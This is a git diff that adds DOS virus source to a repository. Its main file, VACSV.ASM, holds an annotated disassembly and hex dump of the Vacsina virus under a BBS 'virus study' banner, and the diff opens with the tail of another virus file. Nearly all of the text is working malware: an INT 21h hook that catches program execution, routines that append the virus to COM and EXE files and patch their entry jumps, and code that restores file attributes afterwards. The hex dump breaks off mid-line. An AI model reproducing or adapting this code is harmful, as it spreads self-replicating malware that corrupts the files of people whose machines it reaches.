cmp si,5A4Dh + je loc_ret_29 ; Jump if equal + cmp si,4D5Ah + +loc_ret_29: + retn +sub_2 endp + + db 'Eddie lives' +otmestwania db 0, 60h, 14h, 8Eh, 2, 0 + db 7 dup (0) +First_inst: db 0CDh, 20h, 0 + +seg_a ends + + + + end start + \ No newline at end of file diff --git a/v/VACSV.ASM b/v/VACSV.ASM new file mode 100755 index 0000000..ffa09da --- /dev/null +++ b/v/VACSV.ASM @@ -0,0 +1,746 @@ +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; +Vacsina VIRUS: `90.04.13. + Comment: Kvri Lszl + (41) 21-033 + +Unassembled list: + +13B0:0100 E96908 JMP 096C +13B0:0103 49 DEC CX +13B0:0104 60 DB 60 +13B0:0105 6D DB 6D +13B0:0106 206120 AND [BX+DI+20],AH +13B0:0109 56 PUSH SI +13B0:010A 61 DB 61 +13B0:010B 63 DB 63 +13B0:010C 7369 JNB 0177 +13B0:010E 6E DB 6E +13B0:010F 61 DB 61 +13B0:0110 205649 AND [BP+49],DL +13B0:0113 52 PUSH DX +13B0:0114 55 PUSH BP +13B0:0115 53 PUSH BX +13B0:0116 210D AND [DI],CX +13B0:0118 0A24 OR AH,[SI] +13B0:011A 0000 ADD [BX+SI],AL + +13B0:05AA 0000 ADD [BX+SI],AL +13B0:05AC B409 MOV AH,09 +13B0:05AE BA0301 MOV DX,0103 +13B0:05B1 CD21 INT 21 +13B0:05B3 B400 MOV AH,00 +13B0:05B5 CD20 INT 20 +13B0:05B7 005D00 ADD [DI+00],BL +13B0:05BA 5E POP SI +13B0:05BB 00FF ADD BH,BH +13B0:05BD FF6000 JMP [BX+SI+00] +13B0:05C0 4D DEC BP +13B0:05C1 07 POP ES +13B0:05C2 004B00 ADD [BP+DI+00],CL +13B0:05C5 0000 ADD [BX+SI],AL + +13B0:05CD 0000 ADD [BX+SI],AL +13B0:05CF 00720E ADD [BP+SI+0E],DH +13B0:05D2 AE SCASB +13B0:05D3 0F POP CS +13B0:05D4 56 PUSH SI +13B0:05D5 05200D ADD AX,0D20 +13B0:05D8 2000 AND [BX+SI],AL +13B0:05DA 050003 ADD AX,0300 +13B0:05DD 01CD ADD BP,CX +13B0:05DF 21B400CD AND [SI+CD00],SI +13B0:05E3 2000 AND [BX+SI],AL +13B0:05E5 56 PUSH SI +13B0:05E6 41 INC CX +13B0:05E7 43 INC BX +13B0:05E8 53 PUSH BX +13B0:05E9 49 DEC CX +13B0:05EA 4E DEC SI +13B0:05EB 41 INC CX +13B0:05EC 2020 AND [BX+SI],AH +13B0:05EE 2020 AND [BX+SI],AH +13B0:05F0 0000 ADD [BX+SI],AL +13B0:05F2 800000 ADD BYTE PTR [BX+SI],00 +13B0:05F5 0000 ADD [BX+SI],AL +13B0:05F7 007C11 ADD [SI+11],BH +13B0:05FA 37 AAA +13B0:05FB A800 TEST AL,00 +13B0:05FD 40 INC AX +13B0:05FE C20046 RET 4600 +13B0:0601 0A00 OR AL,[BX+SI] +13B0:0603 0000 ADD [BX+SI],AL +13B0:0605 0000 ADD [BX+SI],AL +13B0:0607 0000 ADD [BX+SI],AL +13B0:0609 2020 AND [BX+SI],AH +13B0:060B 2020 AND [BX+SI],AH +13B0:060D 2020 AND [BX+SI],AH +13B0:060F 2020 AND [BX+SI],AH +13B0:0611 2020 AND [BX+SI],AH +13B0:0613 2020 AND [BX+SI],AH +13B0:0615 2020 AND [BX+SI],AH +13B0:0617 2020 AND [BX+SI],AH +13B0:0619 2020 AND [BX+SI],AH +13B0:061B 2020 AND [BX+SI],AH + +13B0:061D E80000 CALL 0620 +13B0:0620 5B POP BX +13B0:0621 50 PUSH AX +13B0:0622 8CC0 MOV AX,ES +13B0:0624 051000 ADD AX,0010 +13B0:0627 8B0E0E01 MOV CX,[010E] +13B0:062B 03C8 ADD CX,AX +13B0:062D 894FFB MOV [BX-05],CX +13B0:0630 8B0E1601 MOV CX,[0116] +13B0:0634 03C8 ADD CX,AX +13B0:0636 894FF7 MOV [BX-09],CX +13B0:0639 8B0E1001 MOV CX,[0110] +13B0:063D 894FF9 MOV [BX-07],CX +13B0:0640 8B0E1401 MOV CX,[0114] +13B0:0644 894FF5 MOV [BX-0B],CX +13B0:0647 8B3E1801 MOV DI,[0118] +13B0:064B 8B160801 MOV DX,[0108] +13B0:064F B104 MOV CL,04 +13B0:0651 D3E2 SHL DX,CL +13B0:0653 8B0E0601 MOV CX,[0106] +13B0:0657 E317 JCXZ 0670 +13B0:0659 26 ES: +13B0:065A C5B50001 LDS SI,[DI+0100] +13B0:065E 83C704 ADD DI,+04 +13B0:0661 8CDD MOV BP,DS +13B0:0663 26 ES: +13B0:0664 032E0801 ADD BP,[0108] +13B0:0668 03E8 ADD BP,AX +13B0:066A 8EDD MOV DS,BP +13B0:066C 0104 ADD [SI],AX +13B0:066E E2E9 LOOP 0659 +13B0:0670 0E PUSH CS +13B0:0671 1F POP DS +13B0:0672 BF0001 MOV DI,0100 +13B0:0675 8BF2 MOV SI,DX +13B0:0677 81C60001 ADD SI,0100 +13B0:067B 8BCB MOV CX,BX +13B0:067D 2BCE SUB CX,SI +13B0:067F F3 REPZ +13B0:0680 A4 MOVSB +13B0:0681 58 POP AX +13B0:0682 FA CLI +13B0:0683 8E57FB MOV SS,[BX-05] +13B0:0686 8B67F9 MOV SP,[BX-07] +13B0:0689 FB STI +13B0:068A FF6FF5 JMP FAR [BX-0B] +13B0:068D B003 MOV AL,03 +13B0:068F CF IRET + + ;INT 21h rutin +13B0:0690 9C PUSHF +13B0:0691 3D004B CMP AX,4B00 ;program indts ? +13B0:0694 7406 JZ 069C ;igen +13B0:0696 9D POPF +13B0:0697 2E CS: +13B0:0698 FF2E0000 JMP FAR [0000] ;INT 21h kezdetre + +13B0:069C 06 PUSH ES +13B0:069D 1E PUSH DS +13B0:069E 55 PUSH BP +13B0:069F 57 PUSH DI +13B0:06A0 56 PUSH SI +13B0:06A1 52 PUSH DX +13B0:06A2 51 PUSH CX +13B0:06A3 53 PUSH BX +13B0:06A4 50 PUSH AX +13B0:06A5 8BEC MOV BP,SP +13B0:06A7 B82435 MOV AX,3524 +13B0:06AA CD21 INT 21 ;kilps kritikus hiba esetn + ;rutin cmnek lekrdezse +13B0:06AC 2E CS: +13B0:06AD 8C060600 MOV [0006],ES ;letrolsa seg. +13B0:06B1 2E CS: +13B0:06B2 891E0400 MOV [0004],BX ;offs +13B0:06B6 0E PUSH CS +13B0:06B7 1F POP DS +13B0:06B8 BABD00 MOV DX,00BD +13B0:06BB B82425 MOV AX,2524 +13B0:06BE CD21 INT 21 ;INT 24h tlltsa +13B0:06C0 0E PUSH CS +13B0:06C1 1F POP DS +13B0:06C2 BA1400 MOV DX,0014 +13B0:06C5 B40F MOV AH,0F +13B0:06C7 CD21 INT 21 ;FCB-s file nyits +13B0:06C9 B80043 MOV AX,4300 +13B0:06CC 8E5E0E MOV DS,[BP+0E] +13B0:06CF 8B5606 MOV DX,[BP+06] +13B0:06D2 CD21 INT 21 ;file attrib lekrd. +13B0:06D4 7303 JNB 06D9 +13B0:06D6 E9DA01 JMP 08B3 +13B0:06D9 2E CS: +13B0:06DA 890E0800 MOV [0008],CX +13B0:06DE B80143 MOV AX,4301 +13B0:06E1 80E1FE AND CL,FE +13B0:06E4 CD21 INT 21 ;file attrib bellts +13B0:06E6 7303 JNB 06EB +13B0:06E8 E9C801 JMP 08B3 +13B0:06EB B8023D MOV AX,3D02 +13B0:06EE 8E5E0E MOV DS,[BP+0E] +13B0:06F1 8B5606 MOV DX,[BP+06] +13B0:06F4 CD21 INT 21 ;file nyits r/w +13B0:06F6 7303 JNB 06FB +13B0:06F8 E9A801 JMP 08A3 +13B0:06FB 2E CS: +13B0:06FC A30A00 MOV [000A],AX +13B0:06FF 8BD8 MOV BX,AX +13B0:0701 0E PUSH CS +13B0:0702 1F POP DS +13B0:0703 BA0C00 MOV DX,000C +13B0:0706 B90600 MOV CX,0006 +13B0:0709 B43F MOV AH,3F +13B0:070B CD21 INT 21 ;els 6 byte olvassa +13B0:070D 7219 JB 0728 +13B0:070F 3D0600 CMP AX,0006 +13B0:0712 7514 JNZ 0728 ;bejtt mind ? +13B0:0714 2E CS: +13B0:0715 813E0C004D5A CMP WORD PTR [000C],5A4D ;EXE file ? +13B0:071B 7503 JNZ 0720 ;nem +13B0:071D E9B501 JMP 08D5 +13B0:0720 2E CS: +13B0:0721 803E0C00E9 CMP BYTE PTR [000C],E9 ;COM file ? +13B0:0726 7403 JZ 072B ;igen +13B0:0728 E96F01 JMP 089A + ;Teendk COM file esetn +13B0:072B B80242 MOV AX,4202 +13B0:072E B90000 MOV CX,0000 +13B0:0731 8BD1 MOV DX,CX +13B0:0733 2E CS: +13B0:0734 8B1E0A00 MOV BX,[000A] +13B0:0738 CD21 INT 21 ;file mret lekrdezse +13B0:073A 72EC JB 0728 +13B0:073C 83FA00 CMP DX,+00 ;65535 nl nagyobb ? +13B0:073F 75E7 JNZ 0728 ;igen +13B0:0741 3DB604 CMP AX,04B6 ;1026 nl kisebb ? +13B0:0744 76E2 JBE 0728 ;igen +13B0:0746 3D93F5 CMP AX,F593 ;62867-nl nagyobb ? +13B0:0749 73DD JNB 0728 ;igen +13B0:074B 2E CS: +13B0:074C A39E04 MOV [049E],AX ;mret megjegyzse +13B0:074F 2E CS: +13B0:0750 A10D00 MOV AX,[000D] +13B0:0753 050301 ADD AX,0103 +13B0:0756 2E CS: +13B0:0757 A3A004 MOV [04A0],AX +13B0:075A B80242 MOV AX,4202 +13B0:075D B9FFFF MOV CX,FFFF +13B0:0760 BAF8FF MOV DX,FFF8 +13B0:0763 2E CS: +13B0:0764 8B1E0A00 MOV BX,[000A] +13B0:0768 CD21 INT 21 ;file mretnek megnvelse +13B0:076A 72BC JB 0728 +13B0:076C 2E CS: +13B0:076D 8B1E0A00 MOV BX,[000A] +13B0:0771 0E PUSH CS +13B0:0772 1F POP DS +13B0:0773 BA0C00 MOV DX,000C +13B0:0776 B90800 MOV CX,0008 +13B0:0779 B43F MOV AH,3F +13B0:077B CD21 INT 21 ;8 byte be +13B0:077D 72A9 JB 0728 +13B0:077F 3D0800 CMP AX,0008 ;bejtt mind ? +13B0:0782 75A4 JNZ 0728 ;nem +13B0:0784 2E CS: +13B0:0785 813E1000F47A CMP WORD PTR [0010],7AF4 ;? +13B0:078B 7577 JNZ 0804 +13B0:078D 2E CS: +13B0:078E 833E120005 CMP WORD PTR [0012],+05 ;? +13B0:0793 90 NOP +13B0:0794 7392 JNB 0728 +13B0:0796 2E CS: +13B0:0797 A10C00 MOV AX,[000C] ;els beolvasott sz +13B0:079A 2E CS: +13B0:079B A39E04 MOV [049E],AX +13B0:079E 2E CS: +13B0:079F A10E00 MOV AX,[000E] +13B0:07A2 2E CS: +13B0:07A3 A3A004 MOV [04A0],AX +13B0:07A6 2D0301 SUB AX,0103 +13B0:07A9 2E CS: +13B0:07AA A30C00 MOV [000C],AX +13B0:07AD B80042 MOV AX,4200 +13B0:07B0 B90000 MOV CX,0000 +13B0:07B3 BA0100 MOV DX,0001 +13B0:07B6 2E CS: +13B0:07B7 8B1E0A00 MOV BX,[000A] +13B0:07BB CD21 INT 21 ;pozicionls a file 2. bytejra +13B0:07BD 725F JB 081E +13B0:07BF B440 MOV AH,40 +13B0:07C1 0E PUSH CS +13B0:07C2 1F POP DS +13B0:07C3 BA0C00 MOV DX,000C +13B0:07C6 B90200 MOV CX,0002 +13B0:07C9 CD21 INT 21 ;2 byte kirsa +13B0:07CB 7251 JB 081E +13B0:07CD 3D0200 CMP AX,0002 ;kirta mind ? +13B0:07D0 754C JNZ 081E ;nem +13B0:07D2 2E CS: +13B0:07D3 8B1E0A00 MOV BX,[000A] +13B0:07D7 B445 MOV AH,45 +13B0:07D9 CD21 INT 21 ;file handle kettzse +13B0:07DB 7208 JB 07E5 +13B0:07DD 8BD8 MOV BX,AX +13B0:07DF B43E MOV AH,3E +13B0:07E1 CD21 INT 21 ;file zrsa +13B0:07E3 7239 JB 081E +13B0:07E5 B80042 MOV AX,4200 +13B0:07E8 B90000 MOV CX,0000 +13B0:07EB 2E CS: +13B0:07EC 8B169E04 MOV DX,[049E] +13B0:07F0 2E CS: +13B0:07F1 8B1E0A00 MOV BX,[000A] +13B0:07F5 CD21 INT 21 ;elejre pozicionls +13B0:07F7 7225 JB 081E +13B0:07F9 B440 MOV AH,40 +13B0:07FB 0E PUSH CS +13B0:07FC 1F POP DS +13B0:07FD B90000 MOV CX,0000 +13B0:0800 CD21 INT 21 ;file mret belltsa +13B0:0802 721A JB 081E +13B0:0804 B80042 MOV AX,4200 +13B0:0807 B90000 MOV CX,0000 +13B0:080A 2E CS: +13B0:080B 8B169E04 MOV DX,[049E] +13B0:080F 83C20F ADD DX,+0F +13B0:0812 83E2F0 AND DX,-10 +13B0:0815 2E CS: +13B0:0816 8B1E0A00 MOV BX,[000A] +13B0:081A CD21 INT 21 ;file pointer mozgatsa +13B0:081C 7303 JNB 0821 +13B0:081E EB7A JMP 089A +13B0:0820 90 NOP +13B0:0821 2E CS: +13B0:0822 8B1E0A00 MOV BX,[000A] +13B0:0826 8CCA MOV DX,CS +13B0:0828 4A DEC DX +13B0:0829 8EDA MOV DS,DX +13B0:082B BA0000 MOV DX,0000 +13B0:082E B9B604 MOV CX,04B6 +13B0:0831 B440 MOV AH,40 +13B0:0833 CD21 INT 21 ;nmagnak kimsolsa +13B0:0835 72E7 JB 081E +13B0:0837 3DB604 CMP AX,04B6 ;sikerlt ? +13B0:083A 75E2 JNZ 081E ;nem +13B0:083C 2E CS: +13B0:083D 8B1E0A00 MOV BX,[000A] +13B0:0841 B445 MOV AH,45 +13B0:0843 CD21 INT 21 ;file handle kettzse +13B0:0845 7208 JB 084F +13B0:0847 8BD8 MOV BX,AX +13B0:0849 B43E MOV AH,3E +13B0:084B CD21 INT 21 ;file zrsa +13B0:084D 72CF JB 081E +13B0:084F 2E CS: +13B0:0850 C6060C00E9 MOV BYTE PTR [000C],E9 ;COM ? +13B0:0855 2E CS: +13B0:0856 8B169E04 MOV DX,[049E] +13B0:085A 83C20F ADD DX,+0F +13B0:085D 83E2F0 AND DX,-10 +13B0:0860 83EA03 SUB DX,+03 +13B0:0863 81C2AC03 ADD DX,03AC +13B0:0867 2E CS: +13B0:0868 89160D00 MOV [000D],DX +13B0:086C B80042 MOV AX,4200 +13B0:086F B90000 MOV CX,0000 +13B0:0872 8BD1 MOV DX,CX +13B0:0874 2E CS: +13B0:0875 8B1E0A00 MOV BX,[000A] +13B0:0879 CD21 INT 21 ;pozicionls az elejre +13B0:087B 72A1 JB 081E +13B0:087D 2E CS: +13B0:087E 8B1E0A00 MOV BX,[000A] +13B0:0882 0E PUSH CS +13B0:0883 1F POP DS +13B0:0884 BA0C00 MOV DX,000C +13B0:0887 B90300 MOV CX,0003 +13B0:088A B440 MOV AH,40 +13B0:088C CD21 INT 21 ;3 byte JMP kirsa +13B0:088E 728E JB 081E +13B0:0890 3D0300 CMP AX,0003 ;sikerlt ? +13B0:0893 7589 JNZ 081E ;nem +13B0:0895 B8070E MOV AX,0E07 +13B0:0898 CD10 INT 10 ;beep jelzs hogy fertztt + +13B0:089A B43E MOV AH,3E +13B0:089C 2E CS: +13B0:089D 8B1E0A00 MOV BX,[000A] +13B0:08A1 CD21 INT 21 ;file zrsa +13B0:08A3 B80143 MOV AX,4301 +13B0:08A6 8E5E0E MOV DS,[BP+0E] +13B0:08A9 8B5606 MOV DX,[BP+06] +13B0:08AC 2E CS: +13B0:08AD 8B0E0800 MOV CX,[0008] +13B0:08B1 CD21 INT 21 ;eredeti attrib visszalltsa +13B0:08B3 0E PUSH CS +13B0:08B4 1F POP DS +13B0:08B5 BA1400 MOV DX,0014 +13B0:08B8 B410 MOV AH,10 +13B0:08BA CD21 INT 21 ;FCB-s file zrsa +13B0:08BC B82425 MOV AX,2524 +13B0:08BF 2E CS: +13B0:08C0 C5160400 LDS DX,[0004] +13B0:08C4 CD21 INT 21 ;INT 24 az eredetire +13B0:08C6 58 POP AX +13B0:08C7 5B POP BX +13B0:08C8 59 POP CX +13B0:08C9 5A POP DX +13B0:08CA 5E POP SI +13B0:08CB 5F POP DI +13B0:08CC 5D POP BP +13B0:08CD 1F POP DS +13B0:08CE 07 POP ES +13B0:08CF 9D POPF +13B0:08D0 2E CS: +13B0:08D1 FF2E0000 JMP FAR [0000] + + ;Teendk EXE file esetn +13B0:08D5 B80242 MOV AX,4202 +13B0:08D8 B90000 MOV CX,0000 +13B0:08DB 8BD1 MOV DX,CX +13B0:08DD 2E CS: +13B0:08DE 8B1E0A00 MOV BX,[000A] +13B0:08E2 CD21 INT 21 ;file vgre poz. +13B0:08E4 72B4 JB 089A +13B0:08E6 83FA00 CMP DX,+00 ;nagyobb 65535-nl +13B0:08E9 75AF JNZ 089A ;igen +13B0:08EB 3DB3FD CMP AX,FDB3 ;nagyobb ? +13B0:08EE 73AA JNB 089A ;igen +13B0:08F0 2E CS: +13B0:08F1 A39E04 MOV [049E],AX ;mret trolsa +13B0:08F4 2E CS: +13B0:08F5 A11000 MOV AX,[0010] +13B0:08F8 48 DEC AX +13B0:08F9 B109 MOV CL,09 +13B0:08FB D3E0 SHL AX,CL +13B0:08FD 2E CS: +13B0:08FE 03060E00 ADD AX,[000E] +13B0:0902 2E CS: +13B0:0903 3B069E04 CMP AX,[049E] +13B0:0907 7591 JNZ 089A +13B0:0909 2E CS: +13B0:090A 8B1E0A00 MOV BX,[000A] +13B0:090E B440 MOV AH,40 +13B0:0910 0E PUSH CS +13B0:0911 1F POP DS +13B0:0912 BA3900 MOV DX,0039 +13B0:0915 B98400 MOV CX,0084 +13B0:0918 CD21 INT 21 ;132 byte kirsa +13B0:091A 72C8 JB 08E4 +13B0:091C 3D8400 CMP AX,0084 ;sikerlt ? +13B0:091F 75E6 JNZ 0907 ;nem +13B0:0921 2E CS: +13B0:0922 8B1E0A00 MOV BX,[000A] +13B0:0926 B445 MOV AH,45 +13B0:0928 CD21 INT 21 ;file handle megkettzse +13B0:092A 7208 JB 0934 +13B0:092C 8BD8 MOV BX,AX +13B0:092E B43E MOV AH,3E +13B0:0930 CD21 INT 21 ;file zrsa +13B0:0932 72B0 JB 08E4 +13B0:0934 B80042 MOV AX,4200 +13B0:0937 B90000 MOV CX,0000 +13B0:093A 8BD1 MOV DX,CX +13B0:093C 2E CS: +13B0:093D 8B1E0A00 MOV BX,[000A] +13B0:0941 CD21 INT 21 ;file elejre poz. +13B0:0943 729F JB 08E4 +13B0:0945 2E CS: +13B0:0946 C6060C00E9 MOV BYTE PTR [000C],E9 ;COM ? +13B0:094B 2E CS: +13B0:094C A19E04 MOV AX,[049E] +13B0:094F 051100 ADD AX,0011 +13B0:0952 2E CS: +13B0:0953 A30D00 MOV [000D],AX +13B0:0956 2E CS: +13B0:0957 8B1E0A00 MOV BX,[000A] +13B0:095B B440 MOV AH,40 +13B0:095D 0E PUSH CS +13B0:095E 1F POP DS +13B0:095F BA0C00 MOV DX,000C +13B0:0962 B90300 MOV CX,0003 +13B0:0965 CD21 INT 21 ;3 byte kirsa +13B0:0967 E930FF JMP 089A ;ugrs a file zrsra +13B0:096A 0000 ADD [BX+SI],AL + +13B0:096C E80000 CALL 096F ;Belpsi pont +13B0:096F 5B POP BX ;IP BX -be +13B0:0970 2E CS: +13B0:0971 8947FB MOV [BX-05],AX +13B0:0974 B80000 MOV AX,0000 +13B0:0977 8EC0 MOV ES,AX +13B0:0979 26 ES: +13B0:097A A1C500 MOV AX,[00C5] +13B0:097D 3D7F39 CMP AX,397F +13B0:0980 7508 JNZ 098A +13B0:0982 26 ES: +13B0:0983 A0C700 MOV AL,[00C7] +13B0:0986 3C05 CMP AL,05 +13B0:0988 7332 JNB 09BC +13B0:098A 8BD4 MOV DX,SP +13B0:098C 2BD3 SUB DX,BX +13B0:098E 81EA6C0B SUB DX,0B6C +13B0:0992 7228 JB 09BC +13B0:0994 BAC504 MOV DX,04C5 +13B0:0997 B104 MOV CL,04 +13B0:0999 D3EA SHR DX,CL +13B0:099B 2E CS: +13B0:099C 899754FC MOV [BX+FC54],DX +13B0:09A0 8CD9 MOV CX,DS +13B0:09A2 03D1 ADD DX,CX +13B0:09A4 8EC2 MOV ES,DX +13B0:09A6 8BF3 MOV SI,BX +13B0:09A8 81C651FC ADD SI,FC51 +13B0:09AC 8BFE MOV DI,SI +13B0:09AE B9B604 MOV CX,04B6 +13B0:09B1 FC CLD +13B0:09B2 F3 REPZ +13B0:09B3 A4 MOVSB +13B0:09B4 06 PUSH ES +13B0:09B5 E80300 CALL 09BB +13B0:09B8 EB13 JMP 09CD +13B0:09BA 90 NOP +13B0:09BB CB RETF + +13B0:09BC 8CC8 MOV AX,CS +13B0:09BE 8ED8 MOV DS,AX +13B0:09C0 8EC0 MOV ES,AX +13B0:09C2 8ED0 MOV SS,AX +13B0:09C4 2E CS: +13B0:09C5 8B47FB MOV AX,[BX-05] +13B0:09C8 2E CS: +13B0:09C9 FFA70101 JMP [BX+0101] + +13B0:09CD BE0000 MOV SI,0000 +13B0:09D0 BF0000 MOV DI,0000 +13B0:09D3 8BCB MOV CX,BX +13B0:09D5 81C161FC ADD CX,FC61 +13B0:09D9 8CC2 MOV DX,ES +13B0:09DB 4A DEC DX +13B0:09DC 8EC2 MOV ES,DX +13B0:09DE 8CDA MOV DX,DS +13B0:09E0 4A DEC DX +13B0:09E1 8EDA MOV DS,DX +13B0:09E3 03F1 ADD SI,CX ;CX=48f0 +13B0:09E5 4E DEC SI +13B0:09E6 8BFE MOV DI,SI +13B0:09E8 FD STD +13B0:09E9 F3 REPZ +13B0:09EA A4 MOVSB +13B0:09EB FC CLD +13B0:09EC 2E CS: +13B0:09ED 8B9754FC MOV DX,[BX+FC54] +13B0:09F1 26 ES: +13B0:09F2 29160300 SUB [0003],DX +13B0:09F6 26 ES: +13B0:09F7 8C0E0100 MOV [0001],CS +13B0:09FB BF0000 MOV DI,0000 +13B0:09FE 8BF3 MOV SI,BX +13B0:0A00 81C651FC ADD SI,FC51 +13B0:0A04 B9B604 MOV CX,04B6 ;byte-ok szma +13B0:0A07 1E PUSH DS +13B0:0A08 07 POP ES ;ES=DS +13B0:0A09 0E PUSH CS +13B0:0A0A 1F POP DS ;DS=CS +13B0:0A0B F3 REPZ +13B0:0A0C A4 MOVSB ;nmagnak tpakolsa +13B0:0A0D 26 ES: +13B0:0A0E 832E030001 SUB WORD PTR [0003],+01 +13B0:0A13 53 PUSH BX +13B0:0A14 8CCB MOV BX,CS +13B0:0A16 B450 MOV AH,50 +13B0:0A18 CD21 INT 21 ;? rezidens mr ? +13B0:0A1A 5B POP BX +13B0:0A1B 2E CS: +13B0:0A1C 8C0E3600 MOV [0036],CS +13B0:0A20 2E CS: +13B0:0A21 8B162C00 MOV DX,[002C] ;krnyezet cme +13B0:0A25 4A DEC DX +13B0:0A26 8EC2 MOV ES,DX +13B0:0A28 26 ES: +13B0:0A29 8C0E0100 MOV [0001],CS +13B0:0A2D B82135 MOV AX,3521 +13B0:0A30 53 PUSH BX +13B0:0A31 CD21 INT 21 ;INT 21h cm lekrdezse +13B0:0A33 36 SS: +13B0:0A34 8C060200 MOV [0002],ES +13B0:0A38 36 SS: +13B0:0A39 891E0000 MOV [0000],BX +13B0:0A3D 5B POP BX +13B0:0A3E B82125 MOV AX,2521 +13B0:0A41 8CD2 MOV DX,SS +13B0:0A43 8EDA MOV DS,DX +13B0:0A45 BAC000 MOV DX,00C0 +13B0:0A48 CD21 INT 21 ;INT 21h tirnytsa +13B0:0A4A B80000 MOV AX,0000 +13B0:0A4D 8EC0 MOV ES,AX +13B0:0A4F 26 ES: +13B0:0A50 C706C5007F39 MOV WORD PTR [00C5],397F ;? +13B0:0A56 26 ES: +13B0:0A57 C606C70005 MOV BYTE PTR [00C7],05 ? +13B0:0A5C 8CC8 MOV AX,CS +13B0:0A5E 8ED8 MOV DS,AX +13B0:0A60 B41A MOV AH,1A +13B0:0A62 BA5000 MOV DX,0050 +13B0:0A65 CD21 INT 21 ;DTA. belltsa +13B0:0A67 2E CS: +13B0:0A68 8B47FB MOV AX,[BX-05] +13B0:0A6B E94EFF JMP 09BC + +13B0:0A6E B704 MOV BH,04 +13B0:0A70 AC LODSB +13B0:0A71 05F47A ADD AX,7AF4 +13B0:0A74 050000 ADD AX,0000 +13B0:0A77 0000 ADD [BX+SI],AL + + +Dumped list: + +13B0:0000 CD 20 00 A0 00 9A F0 FE-1D F0 F4 02 E7 0F 2F 03 . ............/. +13B0:0010 E7 0F BC 02 E7 0F AF 0F-01 03 01 00 02 FF FF FF ................ +13B0:0020 FF FF FF FF FF FF FF FF-FF FF FF FF A7 13 4C 01 ..............L. +13B0:0030 21 13 14 00 18 00 B0 13-FF FF FF FF 00 00 00 00 !............... +13B0:0040 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ +13B0:0050 CD 21 CB 00 00 00 00 00-00 00 00 00 00 20 20 20 .!........... +13B0:0060 20 20 20 20 20 20 20 20-00 00 00 00 00 20 20 20 ..... +13B0:0070 20 20 20 20 20 20 20 20-00 00 00 00 00 00 00 00 ........ +13B0:0080 01 20 0D 61 63 73 76 2E-63 6F 6D 20 0D 63 3A 5C . .acsv.com .c:\ +13B0:0090 75 74 69 6C 3B 63 3A 5C-75 74 69 6C 5C 78 79 77 util;c:\util\xyw +13B0:00A0 72 69 74 65 3B 63 3A 5C-6E 79 65 6C 76 65 6B 5C rite;c:\nyelvek\ +13B0:00B0 64 62 61 73 65 3B 63 3A-5C 6E 79 65 6C 76 65 6B dbase;c:\nyelvek +13B0:00C0 5C 63 6C 69 70 70 65 72-0D 00 00 00 00 00 00 00 \clipper........ +13B0:00D0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ +13B0:00E0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ +13B0:00F0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ +13B0:0100 E9 69 08 49 60 6D 20 61-20 56 61 63 73 69 6E 61 .i.I`m a Vacsina +13B0:0110 20 56 49 52 55 53 21 0D-0A 24 00 00 00 00 00 00 VIRUS!..$...... +13B0:0120 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ + +13B0:0590 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ +13B0:05A0 00 00 00 00 00 00 00 00-00 00 00 00 B4 09 BA 03 ................ +13B0:05B0 01 CD 21 B4 00 CD 20 00-5D 00 5E 00 FF FF 60 00 ..!... .].^...`. +13B0:05C0 4D 07 00 4B 00 00 00 00-00 00 00 00 00 00 00 00 M..K............ +13B0:05D0 72 0E AE 0F 56 05 20 0D-20 00 05 00 03 01 CD 21 r...V. . ......! +13B0:05E0 B4 00 CD 20 00 56 41 43-53 49 4E 41 20 20 20 20 ... .VACSINA +13B0:05F0 00 00 80 00 00 00 00 00-7C 11 37 A8 00 40 C2 00 ........|.7..@.. +13B0:0600 46 0A 00 00 00 00 00 00-00 20 20 20 20 20 20 20 F........ +13B0:0610 20 20 20 20 20 20 20 20-20 20 20 20 20 E8 00 00 ... +13B0:0620 5B 50 8C C0 05 10 00 8B-0E 0E 01 03 C8 89 4F FB [P............O. +13B0:0630 8B 0E 16 01 03 C8 89 4F-F7 8B 0E 10 01 89 4F F9 .......O......O. +13B0:0640 8B 0E 14 01 89 4F F5 8B-3E 18 01 8B 16 08 01 B1 .....O..>....... +13B0:0650 04 D3 E2 8B 0E 06 01 E3-17 26 C5 B5 00 01 83 C7 .........&...... +13B0:0660 04 8C DD 26 03 2E 08 01-03 E8 8E DD 01 04 E2 E9 ...&............ +13B0:0670 0E 1F BF 00 01 8B F2 81-C6 00 01 8B CB 2B CE F3 .............+.. +13B0:0680 A4 58 FA 8E 57 FB 8B 67-F9 FB FF 6F F5 B0 03 CF .X..W..g...o.... +13B0:0690 9C 3D 00 4B 74 06 9D 2E-FF 2E 00 00 06 1E 55 57 .=.Kt.........UW +13B0:06A0 56 52 51 53 50 8B EC B8-24 35 CD 21 2E 8C 06 06 VRQSP...$5.!.... +13B0:06B0 00 2E 89 1E 04 00 0E 1F-BA BD 00 B8 24 25 CD 21 ............$%.! +13B0:06C0 0E 1F BA 14 00 B4 0F CD-21 B8 00 43 8E 5E 0E 8B ........!..C.^.. +13B0:06D0 56 06 CD 21 73 03 E9 DA-01 2E 89 0E 08 00 B8 01 V..!s........... +13B0:06E0 43 80 E1 FE CD 21 73 03-E9 C8 01 B8 02 3D 8E 5E C....!s......=.^ +13B0:06F0 0E 8B 56 06 CD 21 73 03-E9 A8 01 2E A3 0A 00 8B ..V..!s......... +13B0:0700 D8 0E 1F BA 0C 00 B9 06-00 B4 3F CD 21 72 19 3D ..........?.!r.= +13B0:0710 06 00 75 14 2E 81 3E 0C-00 4D 5A 75 03 E9 B5 01 ..u...>..MZu.... +13B0:0720 